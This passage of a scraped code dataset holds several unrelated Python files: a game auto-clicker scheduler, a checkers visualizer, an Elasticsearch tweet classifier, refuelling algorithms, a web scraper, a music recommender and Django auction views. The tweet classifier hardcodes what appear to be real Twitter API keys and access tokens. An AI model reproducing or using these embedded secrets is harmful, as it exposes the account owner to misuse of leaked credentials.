get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n time.sleep(10)\n\n check_left = left + 310\n check_top = top + 497\n move_cursor(check_left, check_top)\n cursor_left_click()\n\n time.sleep(10)\n\n press_left = left + 742\n press_top = top + 322\n move_cursor(press_left, press_top)\n cursor_left_click()\n\n # 可能弹出动画\n time.sleep(30)\n\n random_left = left + random.randint(100, 300)\n random_top = top + random.randint(100, 300)\n move_cursor(random_left, random_top)\n cursor_left_click()\n\n time.sleep(10)\n\n close_left = left + 1000\n close_top = top + 132\n move_cursor(close_left, close_top)\n cursor_left_click()\n\n time.sleep(10)\n\n\ndef auto_receive_gy():\n time.sleep(10)\n\n onmeji_hwnd = get_hwnd_of_onmeji()\n left, top, right, bottom = win32gui.GetWindowRect(onmeji_hwnd)\n\n gy_left = left + 855\n gy_top = top + 555\n move_cursor(gy_left, gy_top)\n cursor_left_click()\n\n time.sleep(10)\n\n random_left = left + random.randint(100, 300)\n random_top = top + random.randint(100, 300)\n move_cursor(random_left, random_top)\n cursor_left_click()\n \n time.sleep(10)\n\ndef print_hello():\n print(\"hello, world\")\n\nif __name__ == \"__main__\":\n # window_capture(\"233.bmp\")\n # sched = BlockingScheduler()\n\n # 每天六点半定时收体力\n sched.add_job(auto_get_sushi, 'cron', hour=6, minute=30)\n # 每天八点定时收勾玉\n sched.add_job(auto_receive_gy, 'cron', hour=8, minute=0)\n # 每隔1小时自动刷新\n sched.add_job(auto_refresh, 'cron', minute=10)\n # 每天7点定时祈愿\n sched.add_job(auto_wish, 'cron', hour=7)\n # # 每天5点半定时签到\n sched.add_job(auto_check, 'cron', hour=5, minute=30)\n sched.start()\n # pyautogui.dragTo(30, 0, 2, button='left')\n ","repo_name":"SakakiYukiho/onmeji-script","sub_path":"onmeji.py","file_name":"onmeji.py","file_ext":"py","file_size_in_byte":9136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29830565599","text":"# Import packages\nfrom src.RulesModule import rules\nfrom src.VisionModule import image_processing\nfrom src.RulesModule.board import Board\nfrom src.VisionModule.image_processing import load_configs_dict\n\nimport pygame\nimport math\nimport time\n\n# Inititalize Pieces\nempty = 0\n# For the first move, black's pieces are considered friendly\nblack = {\"pawn\": 1, \"king\": 3}\nwhite = {\"pawn\": 2, \"king\": 4}\n\n# Initalize board size\nrows = 8\ncolumns = 8\n\n\n# Define colours\nclass Colours:\n d = load_configs_dict(\"../configs/color_config.txt\")\n square_black = (0, 0, 0)\n square_white = (255, 255, 255)\n\n piece_white = tuple(reversed(d[\"COLOR_TOP\"]))\n piece_black = tuple(reversed(d[\"COLOR_BOT\"]))\n king_cross = (255, 255, 255)\n\n\n# This sets the width, height and margin of each board cell\nwindow_size = [1000, 1000]\nwindow_width = window_size[0]\nwindow_height = window_size[1] - window_size[0] // 20\ntotal_rows = 8\ntotal_columns = 8\nwidth = (window_width // total_columns)\nheight = (window_height // total_rows)\n\n# Set the radius and border border of each checker piece\nradius = (window_width // 20)\nborder = (window_width // 200)\n\n\n# Create board\ndef create_board():\n board = [[empty for column in range(columns)] for row in range(rows)]\n place_starting_pieces(board)\n return board\n\n\ndef place_starting_pieces(board):\n \"\"\"Assign starting checker pieces for white and black\"\"\"\n # Assign starting board locations for black\n for current_row in range(5, 8, 2):\n for current_column in range(0, 8, 2):\n board[current_row][current_column] = black['pawn']\n for current_row in range(6, 7):\n for current_column in range(1, 8, 2):\n board[current_row][current_column] = black['pawn']\n\n # Assign starting board locations for white\n for current_row in range(0, 3, 2):\n for current_column in range(1, 8, 2):\n board[current_row][current_column] = white['pawn']\n for current_row in range(1, 2):\n for current_column in range(0, 8, 2):\n board[current_row][current_column] = white['pawn']\n\n\ndef draw_board(screen, board, width, height, radius, border):\n for row in range(8):\n for column in range(8):\n # Draw all grid locations as either white or black rectangle\n if (row + column) % 2 == 0:\n colour = Colours.square_white\n else:\n colour = Colours.square_black\n rect = pygame.draw.rect(screen, colour, [width * column, height * row, width, height])\n rect_center = rect.center\n # Draw black pieces\n if board[row][column] == 1:\n pygame.draw.circle(screen, Colours.piece_black, rect_center, radius)\n # Draw white pieces\n if board[row][column] == 2:\n pygame.draw.circle(screen, Colours.piece_white, rect_center, radius)\n # Drawing king pieces borders\n if board[row][column] == 3:\n pygame.draw.circle(screen, Colours.piece_black, rect_center, radius)\n pygame.draw.circle(screen, Colours.king_cross, rect_center, radius // 5, 0)\n if board[row][column] == 4:\n pygame.draw.circle(screen, Colours.piece_white, rect_center, radius)\n pygame.draw.circle(screen, Colours.king_cross, rect_center, radius // 5, 0)\n\n\ndef draw_popup(screen, message, colour, error):\n rect = pygame.Rect(0, window_height, window_width, window_height // 5)\n pygame.draw.rect(screen, colour, rect, 0)\n\n font_size = 30\n if error is True:\n font_size /= 1.5\n\n myfont = pygame.font.SysFont('Arial', int(font_size))\n textsurface = myfont.render(message, False, (0, 0, 0))\n if error is True:\n screen.blit(textsurface, (0, window_height))\n else:\n screen.blit(textsurface, (window_width // 2 - 120, window_height))\n\n\ndef get_cell_coordinates(cell_no):\n cell_no = int(cell_no)\n\n y = (cell_no // 4)\n x = 2 * ((cell_no - 1) % 4)\n\n if cell_no % 4 == 0:\n y = y - 1\n\n if y % 2 == 0:\n x = x + 1\n\n return [y, x]\n\n\ndef get_cell_no(x, y):\n if x % 2 == 0 and y % 2 == 1:\n return math.ceil(x / 2) + (y * 4) + 1\n\n elif x % 2 == 1 and y % 2 == 0:\n return math.ceil(x / 2) + (y * 4)\n\n # White cell\n else:\n return 0\n\n\ndef move_piece(screen, board, cell_from, cell_to, became_queen):\n xyfrom = get_cell_coordinates(cell_from)\n xyto = get_cell_coordinates(cell_to)\n\n piece = board[xyfrom[0]][xyfrom[1]]\n if became_queen is not None and piece <= 2:\n piece += 2\n\n board[xyfrom[0]][xyfrom[1]] = empty\n board[xyto[0]][xyto[1]] = piece\n\n draw_board(screen, board, width, height, radius, border)\n pygame.display.flip()\n time.sleep(1)\n\n\ndef remove_piece(screen, board, cell):\n if cell == 0:\n return\n else:\n xycaptured = get_cell_coordinates(cell)\n board[xycaptured[0]][xycaptured[1]] = empty\n\n draw_board(screen, board, width, height, radius, border)\n pygame.display.flip()\n time.sleep(1)\n\n\nimport os\n\n\ndef run_visualizer():\n abs_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', \"pictures/newtest2\"))\n\n previous_board = Board(os.path.join(abs_dir, \"000.png\"))\n next_board = Board(os.path.join(abs_dir, \"001.png\"))\n previous_board.validate_initially(True)\n move = rules.try_to_get_move_category(previous_board, next_board)\n\n game_over = False\n board = create_board()\n\n # Initalize pygame\n pygame.init()\n pygame.font.init()\n\n screen = pygame.display.set_mode(window_size)\n pygame.display.set_caption(\"Checkers\")\n clock = pygame.time.Clock()\n\n draw_board(screen, board, width, height, radius, border)\n pygame.display.flip()\n time.sleep(2)\n\n for ix, img_path in enumerate(sorted(os.listdir(abs_dir))):\n img_path = os.path.join(abs_dir, img_path)\n print(ix, img_path)\n if ix == 0:\n continue\n if ix == 1:\n continue\n\n if move is not None:\n if move[\"captured\"] == 0:\n move_notation = move[\"move\"].split(\"-\")\n else:\n move_notation = move[\"move\"].split(\"x\")\n\n old_cell = move_notation[0]\n new_cell = move_notation[1]\n\n draw_popup(screen, \"Valid move: \" + move[\"move\"], (50, 150, 255), error=False)\n\n # Moving the pieces\n move_piece(screen, board, old_cell, new_cell, move[\"becameQueen\"])\n remove_piece(screen, board, move[\"captured\"])\n\n try:\n previous_board = next_board\n next_board = Board(img_path)\n move = rules.try_to_get_move_category(previous_board, next_board)\n print(move)\n except Exception as exception:\n print(str(exception))\n draw_popup(screen, str(exception), (255, 55, 50), error=True)\n pygame.display.flip()\n time.sleep(5)\n\n clock.tick(144)\n\n\n\nrun_visualizer()\n","repo_name":"patrykwenz/Checkers","sub_path":"src/Visualizer/checkers_pygame.py","file_name":"checkers_pygame.py","file_ext":"py","file_size_in_byte":6972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31175697408","text":"from datetime import datetime\nfrom elasticsearch import Elasticsearch\nimport tweepy\nimport sys\nfrom myelasticsearch import MyElasticSearch\n\n\n#\"tweet_indexies\" tweetデータ\n#\"tweet_query_indexies\" 分類したデータ\nclass Tweet_Clasificater:\n def __init__(self):\n self.test=None\n self.auth = tweepy.OAuthHandler(\"95vCXKe1AggFQwy8xFT3Q5gyc\", \"KKJH2iRmC3376XfNfabgBfX7gYg30EcGo80CLeVx8KijchN4pc\")\n self.auth.set_access_token(\"993382630379765761-hPwTQaezOPdDEI7bSogvKkR5if0yuEf\", \"19CGdnToBLJbt4owrO1NF7zl7tBI7khfcvbgk364ZDWXq\")\n self.api = tweepy.API(self.auth)\n self.es=MyElasticSearch(\"tweet_indexies\")\n self.esquery=MyElasticSearch(\"tweet_query_indexies\")\n\n def make_index(self):\n settings = {\n \"settings\": {\n \"analysis\": {\n \"tokenizer\": {\n \"kuromoji_search\": {\n \"type\": \"kuromoji_tokenizer\",\n \"mode\" : \"search\",\n \"user_dictionary\": \"userdict_ja.txt\"\n }\n },\n \"analyzer\": {\n \"my_analyzer\": {\n \"type\": \"custom\",\n \"char_filter\" : [\"icu_normalizer\", \"kuromoji_iteration_mark\"],\n \"tokenizer\": \"kuromoji_search\",\n \"filter\": [\"kuromoji_baseform\", \"kuromoji_part_of_speech\",\"kuromoji_stemmer\",\"my_synonym_penguin_filter\", \"my_stop_filter\"]\n }\n },\n \"filter\":{\n \"my_synonym_penguin_filter\": {\n \"type\": \"synonym\",\n \"synonyms\": [\"コウテイペンギン,ペンギン\"]\n },\n \"my_stop_filter\": {\n \"type\": \"stop\",\n \"stopwords\": [\"いい\", \"もの\", \"ある\", \"いう\", \"それ\", \"いる\"]\n }\n }\n }\n }\n }\n self.es.make_index(settings)\n self.esquery.make_index(settings)\n\n def set_mapping(self):\n mappings = {\n \"properties\": {\n \"tweet\":{\"type\":\"text\",\"analyzer\":\"my_analyzer\",\"fielddata\":True},\n }\n }\n query_mmappings={\n \"properties\":{\n \"search\":{\n \"properties\":{\n \"category\":{\"type\":\"text\"},\n \"query\":{\"type\":\"percolator\"}\n }\n },\n \"text\":{\"type\":\"text\",\"analyzer\":\"my_analyzer\",\"fielddata\":True},\n }\n }\n self.es.set_mapping(mappings)\n self.esquery.set_mapping(query_mmappings)\n \n \n def delete_index(self):\n self.es.delete_index()\n self.esquery.delete_index()\n\n def gather(self,query=\"あ\"):\n tweets = self.api.search(q=query,lang = 'ja',result_type=\"popular\",count=10)\n for tweet in tweets:\n self.es.insert_document({\"tweet\":tweet.text})\n\n def make_likey_list(self,text):\n query={\n \"query\":{\n \"match\":{\n \"tweet\":text\n }\n },\n \"aggregations\": {\n \"significantCrimeTypes\": {\n \"significant_terms\": {\n \"field\": \"tweet\"\n }\n }\n }\n }\n \n res=self.es.search(query)\n likey_list=\"\"\n for word in res[\"aggregations\"][\"significantCrimeTypes\"][\"buckets\"]:\n print(word)\n if len(likey_list)==0 :\n likey_list=word[\"key\"]\n else:\n likey_list=likey_list+\" \"+word[\"key\"] \n return likey_list\n\n #make_likey_listを使ってpercolator作る\n def make_percolator(self,text):\n doc={\n \"search\":{\n \"category\":\"seccor\",\n \"query\":{\n \"match\":{\n \"text\":self.make_likey_list(text)\n }\n } \n }\n }\n self.esquery.insert_document(doc)\n\n\n def percolator_search(self,text):\n query={\n \"query\" : {\n \"percolate\" : {\n \"field\" : \"search.query\",\n \"document\" : {\n \"text\" : text\n }\n }\n }\n }\n res=self.esquery.search(query)\n print(res[\"hits\"]['hits'])\n \n def analyze_test(self,text):\n self.es.analyze_test(\"my_analyzer\",text)\n\n def show(self):\n res=self.es.search()\n for tweet in res[\"hits\"][\"hits\"]:\n print(tweet[\"_source\"])\n res=self.esquery.search()\n for tweet in res[\"hits\"][\"hits\"]:\n print(tweet[\"_source\"])\n \n\n\n\n\n#後でpercolator_searchを追加する\nif __name__ == '__main__':\n clasificater=Tweet_Clasificater()\n argvs=sys.argv\n if len(argvs)==1:\n print (\"finish\")\n elif argvs[1]==\"delete\":\n clasificater.delete_index()\n elif argvs[1]==\"create\":\n clasificater.make_index()\n elif argvs[1]==\"gather\":\n clasificater.gather(argvs[2])\n elif argvs[1]==\"help\":\n print(\"delete,create,gather [],show,analyzer,make_list,help\")\n elif argvs[1]==\"show\":\n clasificater.show()\n elif argvs[1]==\"analyzer\":\n clasificater.analyze_test(argvs[2])\n elif argvs[1]==\"make_list\":\n clasificater.make_percolator(argvs[2])\n elif argvs[1]==\"mappings\":\n clasificater.set_mapping()\n elif argvs[1]==\"search\":\n clasificater.percolator_search(argvs[2])\n else :\n print(\"error\")\n","repo_name":"ao1neko/text-classificator","sub_path":"tweet_classificater.py","file_name":"tweet_classificater.py","file_ext":"py","file_size_in_byte":5836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26729068296","text":"P = [2,5,3,3,10,2]\nS = [1,3,7,12,13,17]\nt = 20\nL = 10\n\ndef min_liczba_tank(S, t, L):\n\ttankowan = 0\n\ti=0\n\tbak = L\n\tdist = 0\n\twhile i<len(S) and S[i]<t:\n\t\tif S[i]-dist <= bak:\n\t\t\tbak-=S[i]-dist\n\t\t\tdist = S[i]\n\t\t\ti+=1\n\t\telif S[i]-dist <=L:\n\t\t\tbak = L - (S[i]-dist)\n\t\t\ttankowan+=1\n\t\t\tdist = S[i]\n\t\t\ti+=1\n\t\telse:\n\t\t\treturn -1\n\n\tif t-dist <= bak:\n\t\treturn tankowan\n\telif t-dist <=L:\n\t\treturn tankowan+1\n\telse:\n\t\treturn -1\n\n\n\n\ndef min_koszt_tank(P, S, t, L):\n\t# dynamiczny\n\t# zakladam, ze t jest dalej niz S[-1]\n\t# F - min koszt dotarcia do i, tak ze w baku jest minimum j\n\tn = len(S)\n\tF = [[None]*(L+1) for _ in range(n)]\n\n\tfor j in range(L+1-S[0]):\n\t\tF[0][j] = 0\n\n\tfor i in range(1, n):\n\t\tfor j in range(L+1):\n\t\t\tbest = None\n\t\t\tif j + S[i] - S[i-1] <=L:\n\t\t\t\tk = 0\n\t\t\t\twhile k<=L:\n\t\t\t\t\tif F[i-1][k] is not None:\n\t\t\t\t\t\tcase = F[i-1][k] + P[i-1]*max(0, (j + S[i] - S[i-1] - k) )\n\t\t\t\t\tif best==None or case<best:\n\t\t\t\t\t\tbest = case\n\t\t\t\t\tk+=1\n\t\t\tF[i][j] = best\n\n\tbest = None\n\tfor j, x in enumerate(F[n-1]):\n\t\tif x is not None:\n\t\t\tcase = x + P[n-1]*max(0, (t-S[n-1] - j))\n\t\t\tif best==None or case<best:\n\t\t\t\tbest = case\n\n\treturn best\n\n\t\n\ndef min_koszt_do_pelna(P, S, t, L):\n\t# zachlanny\n\t# zakladam ze rozwiazanie istnieje\n\t\n\tn = len(S)\n\tbak = L - S[0]\n\tkoszt = 0\n\n\ti=0\n\twhile S[i]+L<t:\n\t\tj=0\n\t\tmin_cena = P[i]\n\t\twhile i+j<n and S[i+j]-S[i]<=bak:\n\t\t\tif P[i+j]<min_cena:\n\t\t\t\tmin_cena = P[i+j]\n\t\t\tj+=1\n\t\tif P[i] == min_cena:\n\t\t\tkoszt+=min_cena*(L-bak)\n\t\t\tbak = L\n\n\t\tbak -= S[i+1] - S[i]\n\t\ti+=1\n\n\tif S[i]+bak>=t:\n\t\treturn koszt\n\telse:\n\t\tcases = [P[i+j]*(L - bak + S[i+j] - S[i]) for j in range(n-i) if (bak-S[i+j]+S[i])>=0]\n\t\treturn koszt + min(cases)\n\n\n\nprint(min_liczba_tank(S, t, L))\nprint(min_koszt_tank(P, S, t, L))\nprint(min_koszt_do_pelna(P, S, t, L))","repo_name":"wojtke/agh-asd","sub_path":"greedy/car refueling.py","file_name":"car refueling.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17999464025","text":"#!/usr/bin/python3\ndef list_division(my_list_1, my_list_2, list_length):\n \"\"\"This function divides element in list \\\n by another element in list of the same position\n\n Args:\n my_list_1 (list): first list\n my_list_2 (list): second list\n\n Returns:\n list of result\n \"\"\"\n\n new_list = []\n for i in range(list_length):\n try:\n result = my_list_1[i] / my_list_2[i]\n except TypeError:\n print(\"wrong type\")\n result = 0\n except ZeroDivisionError:\n print(\"division by 0\")\n result = 0\n except IndexError:\n print(\"out of range\")\n result = 0\n finally:\n new_list.append(result)\n\n return new_list","repo_name":"azconcept-droid/python_is_fun","sub_path":"0x05-python-exceptions/4-list_division.py","file_name":"4-list_division.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31087885055","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_content(url):\n header = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/96.0.4664.45 Safari/537.36',\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,'\n '*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'\n }\n resp = requests.get(url, headers=header)\n output = []\n if resp.status_code == 200:\n page = BeautifulSoup(resp.text, 'html.parser')\n tasks = page.find_all('li', class_='content-list__item')\n for item in tasks:\n title = item.find('div', class_='task__title')\n href = title.a['href']\n url = 'https://freelance.habr.com'+href\n text = title.text\n price = item.find('aside', class_='task__column_price').text\n string = f'{url}; {text}; цена: {price}'\n output.append(string)\n # print(*output, sep='\\n')\n return output\n\n\ndef parse_content():\n url = 'https://freelance.habr.com/tasks?categories=development_all_inclusive,development_backend,development_' \\\n 'frontend,development_desktop,development_bots,development_scripts,development_other'\n return get_content(url)\n\n\nif __name__ == '__main__':\n parse_content()\n","repo_name":"Nikomah/SearchBot","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4488992894","text":"# MUSIC RECOMMENDER SYSTEM\r\nimport numpy as np\r\nimport pandas\r\nfrom sklearn.model_selection import train_test_split\r\nimport time\r\nfrom sklearn.externals import joblib\r\nimport pylab as pl\r\nimport Recommenders as Recommenders\r\nimport Evaluation as Evaluation\r\nimport pylab as pl\r\n\r\n\r\ntriplets_file = '10000.txt'\r\nsongs_metadata_file = 'song_data.csv'\r\n\r\nsong_df_1 = pandas.read_table(triplets_file, header=None)\r\nsong_df_1.columns = ['user_id', 'song_id', 'listen_count']\r\nsong_df_2 = pandas.read_csv(songs_metadata_file)\r\nsong_df = pandas.merge(song_df_1, song_df_2.drop_duplicates(['song_id']), on=\"song_id\", how=\"left\")\r\n#print(song_df.head())\r\nsong_df = song_df.head(10000)\r\nsong_df['song'] = song_df['title'].map(str) + \" - \" + song_df['artist_name']\r\n\r\nsong_grouped = song_df.groupby(['song']).agg({'listen_count': 'count'}).reset_index()\r\ngrouped_sum = song_grouped['listen_count'].sum()\r\nsong_grouped['percentage'] = song_grouped['listen_count'].div(grouped_sum)*100\r\nsong_grouped.sort_values(['listen_count', 'song'], ascending = [0,1])\r\n#print(song_grouped.head())\r\n\r\nusers = song_df['user_id'].unique()\r\n#print(len(users)\r\nsongs = song_df['song'].unique()\r\n#print(len(songs))\r\n\r\n#CREATE A RECOMMENDER\r\ntrain_data, test_data = train_test_split(song_df, test_size = 0.20, random_state=0)\r\nprint(train_data.head(5))\r\n\r\n\r\n#USING RECOMMENDERS.PY AS A BLACKBOX\r\n\r\n#for a particular user_id\r\npm = Recommenders.popularity_recommender_py()\r\npm.create(train_data, 'user_id', 'song')\r\nuser_id = users[5]\r\n#print(pm.recommend(user_id))\r\n\r\n#PERSONALIZED RECOMMENDER SYSTEM\r\nis_model = Recommenders.item_similarity_recommender_py()\r\nis_model.create(train_data, 'user_id', 'song')\r\n\r\nuser_id = users[5]\r\nuser_items = is_model.get_user_items(user_id)\r\n\r\nprint(\"------------------------------------------------------------------------------------\")\r\nprint(\"Training data songs for the user userid: %s:\" % user_id)\r\nprint(\"------------------------------------------------------------------------------------\")\r\n\r\nfor user_item in user_items:\r\n print(user_item)\r\n\r\nprint(\"----------------------------------------------------------------------\")\r\nprint(\"Recommendation process going on:\")\r\nprint(\"----------------------------------------------------------------------\")\r\n###Recommend songs for the user using personalized model\r\nprint(is_model.recommend(user_id))\r\n\r\n\r\n# REMOVE COMMENTS TO THE CODE ABOVE TO GET UR RESULT !!\r\n#SIMILAR SONGS IN DATASET\r\nprint(is_model.get_similar_items(['Yellow - Coldplay']))\r\n\r\n\r\n\r\n## QUANTITVE COMPARISON BETWEEN MODELS\r\n#EVALUATION>PY USED AS A BLACKBOX\r\n\r\nstart = time.time()\r\nuser_sample = 0.05\r\npr = Evaluation.precision_recall_calculator(test_data, train_data, pm, is_model)\r\n(pm_avg_precision_list, pm_avg_recall_list, ism_avg_precision_list, ism_avg_recall_list) = pr.calculate_measures(user_sample)\r\nend = time.time()\r\nprint(end - start)\r\n\r\ndef plot_precision_recall(m1_precision_list, m1_recall_list, m1_label, m2_precision_list, m2_recall_list, m2_label):\r\n pl.clf()\r\n pl.plot(m1_recall_list, m1_precision_list, label=m1_label)\r\n pl.plot(m2_recall_list, m2_precision_list, label=m2_label)\r\n pl.xlabel('Recall')\r\n pl.ylabel('Precision')\r\n pl.ylim([0.0, 0.20])\r\n pl.xlim([0.0, 0.20])\r\n pl.title('Precision-Recall curve')\r\n #pl.legend(loc=\"upper right\")\r\n pl.legend(loc=9, bbox_to_anchor=(0.5, -0.2))\r\n pl.show()\r\n\r\nprint(\"Plotting precision recall curves.\")\r\n\r\nplot_precision_recall(pm_avg_precision_list, pm_avg_recall_list, \"popularity_model\",\r\n ism_avg_precision_list, ism_avg_recall_list, \"item_similarity_model\")\r\n\r\n\r\n\r\nprint(\"Plotting precision recall curves for a larger subset of data (100,000 rows) (user sample = 0.005).\")\r\n#Read the persisted files\r\npm_avg_precision_list = joblib.load('pm_avg_precision_list_3.pkl')\r\npm_avg_recall_list = joblib.load('pm_avg_recall_list_3.pkl')\r\nism_avg_precision_list = joblib.load('ism_avg_precision_list_3.pkl')\r\nism_avg_recall_list = joblib.load('ism_avg_recall_list_3.pkl')\r\nprint(\"Plotting precision recall curves.\")\r\nplot_precision_recall(pm_avg_precision_list, pm_avg_recall_list, \"popularity_model\",\r\n ism_avg_precision_list, ism_avg_recall_list, \"item_similarity_model\")\r\n\r\n\r\nprint(\"Plotting precision recall curves for a larger subset of data (100,000 rows) (user sample = 0.005).\")\r\npm_avg_precision_list = joblib.load('pm_avg_precision_list_2.pkl')\r\npm_avg_recall_list = joblib.load('pm_avg_recall_list_2.pkl')\r\nism_avg_precision_list = joblib.load('ism_avg_precision_list_2.pkl')\r\nism_avg_recall_list = joblib.load('ism_avg_recall_list_2.pkl')\r\nprint(\"Plotting precision recall curves.\")\r\nplot_precision_recall(pm_avg_precision_list, pm_avg_recall_list, \"popularity_model\",\r\n ism_avg_precision_list, ism_avg_recall_list, \"item_similarity_model\")\r\n\r\n","repo_name":"vimalsubbiah7/Music-Recommender-System","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30523945381","text":"from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils.decorators import method_decorator\nfrom django.views import View\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom rest_framework.utils import json\n\nfrom auction.models import Item\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom auction.forms import CreateAuctionForm, ConfAuctionForm\nfrom django.core.mail import BadHeaderError, send_mail\nfrom django.contrib import auth\nfrom django.utils import timezone, translation\nfrom django.utils.translation import gettext as _\nimport urllib.request\nimport json\n\nfrom user.models import UserPreferences\n\ncurrency = 1 # By default, the currency is EUR\n\n\ndef index(request):\n auctions = Item.objects.filter(status=\"Active\").order_by('-created_date')\n\n for auction in auctions: # Change the currency\n auction.current_price *= currency\n auction.minimum_price *= currency\n\n return render(request, \"auction/index.html\", {'auctions': auctions})\n\n\ndef search(request):\n if request.GET[\"term\"].lower() != \"\":\n criteria = request.GET[\"term\"].lower().strip()\n auctions = Item.objects.filter(title__contains=criteria, status=\"Active\").order_by('-created_date')\n else:\n auctions = Item.objects.filter(status=\"Active\").order_by('-created_date')\n return render(request, \"auction/index.html\", {'auctions': auctions})\n\n\nclass CreateAuction(View):\n def get(self, request):\n if self.request.user.is_authenticated: # User authenticated\n form = CreateAuctionForm()\n return render(request, \"auction/create.html\", {\"form\": form}, status=200)\n else:\n messages.add_message(request, messages.ERROR, \"You have to sign up to create an auction\")\n return render(request, \"signin.html\", status=302)\n\n def post(self, request):\n form = CreateAuctionForm(request.POST)\n if self.request.user.is_authenticated: # User authenticated\n if form.is_valid():\n valid_date = form.is_deadline_valid()\n if valid_date: # Valid date (+72h)\n cd = form.cleaned_data\n a_title = cd['title']\n a_description = cd['description']\n a_minimum_price = cd['minimum_price']\n a_deadline_date = cd['deadline_date']\n a_username = self.request.user.username\n\n # Uncomment this paragraph to check the Create Auction\n ''' \n form = ConfAuctionForm({\"a_title\": a_title, \"a_description\": a_description, \n \"a_minimum_price\": a_minimum_price, \"a_deadline_date\": a_deadline_date})\n return render(request, 'auction/confirm_auction.html', {'form': form})\n '''\n new_auction = Item(title=a_title,\n description=a_description,\n minimum_price=a_minimum_price,\n current_price=a_minimum_price,\n deadline_date=a_deadline_date,\n auctioneer=a_username)\n new_auction.save()\n\n # Send auction confirmation email\n send_mail(\n 'New Auction',\n 'Auction has been created successfully',\n 'admin@yaas.com',\n [User.objects.get(username=a_username).email],\n fail_silently=True,\n )\n\n messages.add_message(request, messages.SUCCESS, _(\"Auction has been created successfully\"))\n return HttpResponseRedirect(reverse(\"auction:index\"))\n else: # Invalid date\n messages.add_message(request, messages.ERROR,\n _(\"The deadline date should be at least 72 hours from now\"))\n return render(request, \"auction/create.html\", {\"form\": form}, status=200)\n else:\n return render(request, \"auction/create.html\", {\"form\": form})\n else: # User unauthenticated\n return render(request, \"signin.html\", {\"form\": form}, status=302)\n\n\ndef confirmauction(request):\n if request.method != \"POST\":\n return HttpResponseRedirect(reverse(\"auction:index\"))\n\n option = request.POST.get('option', '')\n if option == 'Yes':\n a_title = request.POST.get('a_title', '')\n a_description = request.POST.get('a_description', '')\n a_minimum_price = request.POST.get('a_minimum_price', '')\n a_deadline_date = request.POST.get('a_deadline_date', '')\n a_username = request.user.username\n\n new_auction = Item(title=a_title,\n description=a_description,\n minimum_price=a_minimum_price,\n current_price=a_minimum_price,\n deadline_date=a_deadline_date,\n auctioneer=a_username)\n new_auction.save()\n\n # Send auction confirmation email\n send_mail(\n 'New Auction',\n 'Auction has been created successfully',\n 'admin@yaas.com',\n [User.objects.get(username=a_username).email],\n fail_silently=True,\n )\n\n messages.add_message(request, messages.SUCCESS, \"Auction has been created successfully\")\n return HttpResponseRedirect(reverse(\"auction:index\"))\n else:\n messages.add_message(request, messages.INFO, \"Auction cancelled\")\n return HttpResponseRedirect(reverse(\"auction:index\"))\n\n\nclass EditAuction(View):\n def get(self, request, item_id):\n auction = get_object_or_404(Item, id=item_id)\n if self.request.user.username != auction.auctioneer:\n return HttpResponse(\"That is not your auction to edit\")\n else:\n return render(request, \"auction/edit.html\",\n {'user': self.request.user,\n \"id\": auction.id,\n \"title\": auction.title,\n \"description\": auction.description}, status=200)\n\n def post(self, request, item_id):\n auction = get_object_or_404(Item, id=item_id)\n if self.request.user.username != auction.auctioneer:\n return HttpResponse(_(\"That is not your auction to edit\"))\n else:\n description = request.POST[\"description\"].strip()\n auction.description = description\n auction.save()\n messages.add_message(request, messages.INFO, _(\"Auction has been updated successfully\"))\n return HttpResponseRedirect(reverse(\"auction:index\"))\n\n\ndef bid(request, item_id):\n auction = get_object_or_404(Item, id=item_id)\n if request.method == 'POST': # POST\n if request.user.is_authenticated:\n # User is not anonymous\n if request.user.username != auction.auctioneer:\n # User can bid\n if auction.status == \"Active\":\n # Auction is active\n newbid = request.POST.get(\"new_price\").strip()\n newbid = float(newbid)\n if auction.deadline_date < timezone.now():\n # Invalid time\n return HttpResponse(_(\"You can only bid on active auction\"))\n\n else:\n minimum_bid = float(auction.current_price) + 0.01\n if newbid < minimum_bid:\n # Invalid bid amount\n messages.add_message(request, messages.ERROR,\n \"New bid must be greater than the current bid for at least 0.01\")\n return render(request, \"auction/bid.html\", {'user': request.user,\n \"id\": auction.id,\n \"title\": auction.title,\n \"description\": auction.description,\n \"auctioneer\": auction.auctioneer,\n \"current_price\": auction.current_price}, status=200)\n\n else:\n # Valid data\n auction.current_price = newbid\n auction.max_bidder = request.user.username\n if request.user.username not in auction.bidders:\n auction.bidders.append(auction.max_bidder)\n auction.save()\n # Send email to auctioneer\n send_mail(\n 'New Bid',\n 'A new bid has been registered',\n 'admin@yaas.com',\n [User.objects.get(username=auction.auctioneer).email],\n fail_silently=True,\n )\n # Send email to last bidder\n send_mail(\n 'New Bid',\n 'A new bid greater than yours has been registered',\n 'admin@yaas.com',\n [User.objects.get(username=auction.max_bidder).email],\n fail_silently=True,\n )\n\n messages.add_message(request, messages.SUCCESS, _(\"You has bid successfully\"))\n return HttpResponseRedirect(reverse(\"auction:index\"))\n\n else:\n # Inactive auction\n return HttpResponse(_(\"You can only bid on active auction\"))\n\n else:\n # Auctioneer\n return 